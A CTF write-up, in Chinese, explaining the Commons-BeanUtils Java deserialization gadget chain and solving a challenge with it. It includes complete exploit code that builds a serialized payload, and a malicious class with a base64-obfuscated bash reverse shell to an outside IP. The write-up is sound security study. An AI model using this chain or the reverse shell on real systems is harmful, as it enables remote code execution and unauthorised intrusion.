Java-web CB链原理与实战
CB链
题目:polarctf-web-CB链
CB 链原理
CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
commons-beanutils 中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean 的 getter 方法。
PropertyUtils.getProperty()传入两个参数:
第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性
例如:
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于 ==
Person person = new Person("Mike");
person.getName();
利用 TemplatesImpl 动态加载恶意类来实现 RCE:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
利用 commons-beanutils 里的 Propertyutils.getProperty() 去调用 getter 函数。
然后往上找链子,发现 CommonBeanutils 利用链中核心的触发位置是 BeanComparator.compare() 函数,当调用 BeanComparator.compare() 函数时,
其内部会调用 getProperty() 函数,
进而调用 JavaBean 中对应属性的 getter 函数。
BeanComparator.compare()
--> getProperty()
--> JavaBean : getter
这是 BeanComparator 类中 compare() 方法的源代码,可以分析:
如果 this.property 为空,则会进行正常的比较。
// BeanComparator.compare()
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch ...
}
}
这里会调用PropertyUtils.getProperty()方法:
因此通过
给 o1 赋值构造好的 templates 对象,
property 赋值 为TemplatesImpl 的 outputProperties 属性,
即可调用 TemplatesImpl.getOutputProperties()
往下就是 TemplatesImpl 的利用链。
可以利用 CC2/4 链中用的 PriorityQueue.readObject() 来调用 compare()
CB链:
PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl#newTransformer()
-> ................
-> TransletClassLoader.defineClass()
-> Evil.newInstance()
使用 CB 链
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
这里第二句话相当于比较器,在 C++ 中有类似的比较器(助记),这里的 cmp 函数就是比较器:
bool cmp(int a, int b) {
return a > b;
}
sort(arr, arr + 1, cmp);
在前面的 java 代码中使用 BeanComparator 类的比较器就是为了调用 Beancomparator 的 compare() 方法。
目前 CB 链:
PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl#newTransformer()
-> ................
-> TransletClassLoader.defineClass()
-> Evil.newInstance()
这里初始化的时候使用正经对象,且 property 为空,是为了初始化时不要出错。初始化后,我们可以再用反射将 property 的值设置成恶意的 outputProperties,将 add 进队列里的 1、2 替换成恶意的 TemplateImpl 对象。
setFieldValue(comparator, "property", "outputProperties");
还需要用反射去修改 queue 属性的值,因为要控制 BeanComparator.compare() 的参数为恶意 templates 对象。
// 设置BeanComparator.compare()的参数
setFieldValue(queue, "queue", new Object[]{templates,templates});
目前 CB 链:
PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl#newTransformer()
-> ................
-> TransletClassLoader.defineClass()
-> Evil.newInstance()
接下来给出 payload:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "iceland");
byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
setFieldValue(comparator,"property","outputProperties");
serialize(queue);
unserialize("CB-bin/CB1.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
题目实战(java搭建)
下载附件 CB.jar,反编译 jar 包

发现路由 /user 可以存在反序列化漏洞。
查看 pom.xml 发现依赖中有 commons-beanutils-1.9.2.jar 可以利用 CB 链,构造反序列化。

Jar 包搭建
在 环境搭建 部分我们已经实现了 CB 链的利用,这里用 CB 链去打。
首先在本地搭建好 jar 包的环境:

创建的时候不选择 spring-boot 项目,直接选择最普通的 java 项目,
- 这里我们创建 java 项目
test,项目仓库选择 maven。 - 我们只要将 jar 包中的
pom.xml复制到 test 中的 pom.xml ,再刷新 maven,就能将题目 jar 包用到的资料导入。(这里提醒我自己把 maven 资源包提前下载好) - 这里把 jar 包的主要部分代码复制到 test 项目中。
- 运行在
localhost:8080,现在可以对 poc 进行测试。
PoC 编写
项目结构

src/main/java/com/example/
PoCBin/
CB1.bin
CommonsBeanutils1.java # CB 链
MyExec.java # 恶意类
MyExec.class # 恶意类字节码
执行命令:
C:\java\java-web\src\main\java\com\example> javac -cp . MyExec.java
就能得到 MyExec.class,便于我们后面利用
创建 MyExec 恶意类:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class MyExec extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
// 这里 RCE !!!
Runtime.getRuntime().exec(
"bash -c \"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAwLjEyMC4xODgvMjMzMyAwPiYx|base64 -d|bash -i\""
);
} catch (IOException e) {
e.printStackTrace();
}
}
}
创建 CB 链
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void main(final String[] args) throws Exception {
// 创建 TemplatesImpl 利用链
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "1ceLAND");
// code 保存恶意类字节码
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\NoneIceland\\Desktop\\java\\java-web\\src\\main\\java\\com\\example\\MyExec.class"));
byte[][] codes = {code};
// 将恶意类打入 TemplatesImpl 利用链
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// CB 链子 -- 利用优先队列类,优先队列的自动排序可以调用到 BeanComparator
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(20, comparator);
queue.add(1);
queue.add(2);
// 这里将优先队列中正常的类替换成 TemplatesImpl 类,以调用 TemplatesImpl 利用链
setFieldValue(queue, "queue", new Object[]{templates, templates});
setFieldValue(comparator, "property", "outputProperties");
// 序列化-反序列化操作
serialize(queue);
unserialize("C:\\Users\\NoneIceland\\Desktop\\java\\java-web\\src\\main\\java\\com\\example\\PoCBin\\CB1.bin");
}
// 利用反射机制为类的属性赋值
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldError, IllegalAccessException, NoSuchFieldException {
Class clazz = object.getClass();
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object, field_value);
}
// 序列化操作,并输出 payload!!!
public static byte[] serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\NoneIceland\\Desktop\\java\\java-web\\src\\main\\java\\com\\example\\PoCBin\\CB1.bin"));
oos.writeObject(obj);
oos.close();
// 输出 payload 的 base64 编码
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
return bytes;
}
// 反序列化操作
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
这样就准备完毕了!
输出 Payload
- 首先, 执行命令
C:\java\java-web\src\main\java\com\example> javac -cp . MyExec.java
获得恶意类的字节码 - 运行
CommonsBeanutils1.java得到 payload! - Url 编码传入
/user
post: user=...
这里测试成功:

这题不出网,反弹 shell 不能成功,只能接下来寻求其他方式啦!

浙公网安备 33010602011771号